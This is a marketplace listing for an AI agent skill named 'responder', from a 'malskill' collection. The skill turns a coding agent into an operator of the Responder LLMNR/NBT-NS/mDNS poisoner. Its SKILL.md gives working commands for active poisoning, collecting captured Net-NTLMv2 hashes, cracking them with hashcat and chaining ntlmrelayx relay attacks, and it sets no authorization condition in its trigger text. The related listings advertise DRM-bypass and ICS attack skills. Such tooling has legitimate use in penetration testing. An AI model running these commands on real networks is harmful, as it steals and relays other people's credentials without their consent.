aeondave/responder
offensive-tools/network/responder/SKILL.md
NBT-NS, LLMNR, and mDNS poisoner that captures Net-NTLMv2 hashes from Windows hosts on the local network. Use when asked to capture NTLM hashes, poison name resolution, perform NTLM relay attacks, set up a rogue SMB/HTTP server for credential capture, or collect hashes for offline cracking.
$ install --global
skillsauthnpx skillsauth add aeondave/malskill responderInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
Security Scan Results
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
3
Scanners Passed
9
Scanners in report
Clean
TrivyContainer and dependency vulnerability scanner
95%
Clean
SemgrepStatic code analysis for vulnerabilities
95%
Clean
mcp-scan (Snyk)Model Context Protocol security validation
95%
Skipped
Snyk (dep)Open source security scanning
50%
Skipped
Socket.devSupply chain security analysis
50%
Skipped
VirusTotalMulti-engine malware detection
50%
Skipped
CrowdStrikeAdvanced threat intelligence
50%
Skipped
OSV-ScannerOpen Source Vulnerability database check
50%
Skipped
OWASP Dep-Check
50%
Last scanned: May 19, 2026, 4:47 AM53.0s2 files scanned
SKILL.md
- name:
- responder
- description:
- NBT-NS, LLMNR, and mDNS poisoner that captures Net-NTLMv2 hashes from Windows hosts on the local network. Use when asked to capture NTLM hashes, poison name resolution, perform NTLM relay attacks, set up a rogue SMB/HTTP server for credential capture, or collect hashes for offline cracking.
- license:
- GPL-3.0
- compatibility:
- Linux. Install: git clone https://github.com/lgandx/Responder (apt install responder on Kali). Must be on same network segment as targets. Requires root.
- author:
- AeonDave
- version:
- 1.1
Responder
LLMNR/NBT-NS/mDNS poisoner — captures Net-NTLMv2 hashes from Windows hosts on local network.
Concept
When a Windows host tries to resolve a hostname that DNS cannot answer, it falls back to LLMNR/NBT-NS broadcast. Responder answers those broadcasts with its own IP, causing the Windows host to authenticate — Responder captures the Net-NTLMv2 hash.
Quick Start
# Start passively (analyze mode — no poisoning)
sudo responder -I eth0 -A
# Active poisoning (captures hashes)
sudo responder -I eth0 -wv
# Captured hashes saved to:
# /usr/share/responder/logs/ or ~/.responder/logs/
Core Flags
| Flag | Description |
|------|-------------|
| -I <iface> | Network interface |
| -A | Analyze mode — no poisoning |
| -w | Enable WPAD rogue proxy server |
| -d | Enable DHCP poisoning |
| -b | Enable Basic HTTP auth capture |
| -v | Verbose (show each request) |
| -f | Fingerprint hosts |
| --lm | Downgrade auth to LM (legacy) |
| --disable-ess | Disable extended session security |
| --lm | Force LM hashing |
| -r | Enable WINS server |
| --no-multirelay | Disable relay mode |
Rogue Servers Enabled by Default
SMB, HTTP, HTTPS, FTP, DNS, LDAP, MSSQL, NTLMv1, NTLMv2
Common Workflows
# Passive capture — wait for Windows hosts to broadcast
sudo responder -I eth0 -wv
# View captured hashes in real-time
tail -f /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
# Crack captured hashes
hashcat -a 0 -m 5600 hashes.txt rockyou.txt
# Disable SMB + HTTP for relay (if using ntlmrelayx in parallel)
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
sudo responder -I eth0 -wv
# Combined relay attack:
# Terminal 1: ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# Terminal 2: Responder (SMB+HTTP off)
sudo responder -I eth0 -wv
Captured Hash Format
[SMB] NTLMv2 Hash : DOMAIN\user::DOMAIN:challenge:hash:blob
Crack with hashcat mode 5600 (Net-NTLMv2) or pass via relay.
Resources
| File | When to load |
|------|--------------|
| references/ntlm-relay.md | Full relay chain: ntlmrelayx setup, LDAP relay, SMB signing bypass, RBCD |
Related Skills
aeondave/offensive-linux-role
data-ai
VerifiedTrustedCommunity
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
4SKILL.mdUpdated Jun 5, 2026
aeondave/ics-technique
development
VerifiedTrustedCommunity
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
4SKILL.mdUpdated Jun 2, 2026
aeondave/game-technique
tools
VerifiedTrustedCommunity
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
4SKILL.mdUpdated Jun 2, 2026
aeondave/hardware-technique
development
VerifiedTrustedCommunity
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
4SKILL.mdUpdated Jun 2, 2026